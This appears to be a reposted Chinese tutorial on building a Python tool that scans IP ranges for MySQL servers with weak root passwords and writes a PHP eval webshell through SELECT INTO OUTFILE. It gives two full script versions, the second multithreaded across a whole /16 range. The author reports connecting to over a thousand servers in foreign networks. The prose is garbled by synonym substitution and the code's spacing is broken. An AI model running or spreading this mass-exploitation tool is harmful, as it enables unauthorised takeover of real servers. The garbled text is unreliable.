副问题[/!--empirenews.page--]
01媒介
一开始,我只是想把一个AWD下的批量写马器材进级改革一下,记录一下时代的心得领会,本觉得此刻mysql弱口令毗连的裂痕很少。但当最后器材完成后,一测试扫描外国网段,半天时刻竟然就乐成毗连了上千台数据库处事器。
02因由
这个剧本最开始的构想是在AWD角逐的景象下,由于全部处事器的情形都沟通,只要查察当地的MySql用户名暗码就知道了全部处事器的MySql用户名暗码。若处事器开放了3306端口,那么操作这一个裂痕就能顺遂得到全部处事器权限。防患未然,于是就写了这个Mysql批量毗连写小马的剧本,以下是最原始的剧本(python2)。
原始剧本-1:
- #!/usr/bin/envpython
- #coding=utf-8
- #author:Blus
-
- importMySQLdb
- defmysql_connect1(ip,shell_url):
- #实行数据库毗连
- try:
- conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)
- cur=conn.cursor()
-
- #若数据库毗连乐成,开始写马
- try:
- sql_insert="SELECT'<?php@eval($_POST[cmd]);?>'into outfile'{}';".format(shell_url)
- #printsql_insert;
-
- cur.execute(sql_insert)
- print"写入乐成".decode()
- exceptException as e:
- print"写入错误"
- printe;
- return
- cur.close()
- conn.close()
-
- exceptMySQLdb.Error,e:
- print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])
- return
-
- if__name__ == "__main__":
- fp_ip=open('ip.txt')
- shell_url= 'D:/1.PHP'
-
- forip in fp_ip.readlines():
- fp4=ip.replace('r',"").replace('n',"")
- #url=str(fp5)
- printfp4
- mysql_connect1(ip,shell_url)
-
- print'检测竣事'
必要安装mysqldb,可自行参考网上教程。本人windwos情形直接在
https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的进程用到outfile函数。这只是简朴要领之一,之后会再切磋。
03打算
这个python脚原来是为AWD角逐筹备的,但其后一向没用上,最后一向躺在“兵器库”里生锈。想着既然有些过期了,就让它从头发亮。(为了利便相互进修,之后的代码中会插手大量的注释)
打算对其做以下改造:
1. 加速其速率,支持大批量扫描
2. 增进自动爆破暗码的成果
3. 增进日记记录成果
4. 代码类型简捷
04引入多线程
进级第一步,那就是加速它的速率,单线程太慢了实行多线程,同时将读取ip.txt文件改为读取IP网段,能顺应大批量的网段扫描,行使到IPy库。本人windwos情形直接pipinstall IPy 安装IPy库无报错。
首要变动了这几处:
以下是这次修改后的完备的代码-2:
- #!/usr/bin/envpython
- #coding=utf-8
- #author:Blus
-
- importMySQLdb
- importthreading
- importtime
- importIPy
-
- defmysql_connect1(ip,shell_url,shell_content):
- #实行数据库毗连
- try:
- conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306)
- cur=conn.cursor()
-
- #若数据库毗连乐成,开始写马
- try:
-
- sql_insert= "SELECT '{}'into outfile'{}';".format(shell_content,shell_url)
- printsql_insert;
-
- cur.execute(sql_insert)
- print"写入乐成".decode()
-
- exceptException as e:
- print"写入错误"
- printe;
- return
- cur.close()
- conn.close()
-
-
- exceptMySQLdb.Error,e:
- print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])
- return
-
- if__name__ == "__main__":
- #内容配置
- shell_url='../../../../wamp64/www/erg2313231.php';
- shell_content='<?php@eval($_POST[cmd]); ?>'
- #配置同时运行的线程数
- threads=25
- #要检测的IP网段
- ip1= IPy.IP('192.168.0.0/16')
-
-
- forip in ip1:
- ip=str(ip)
- while(threading.activeCount()>threads):
- time.sleep(1)
- threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start()
- print'检测竣事'
05改进速率,增进ping函数
(编辑:河北网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|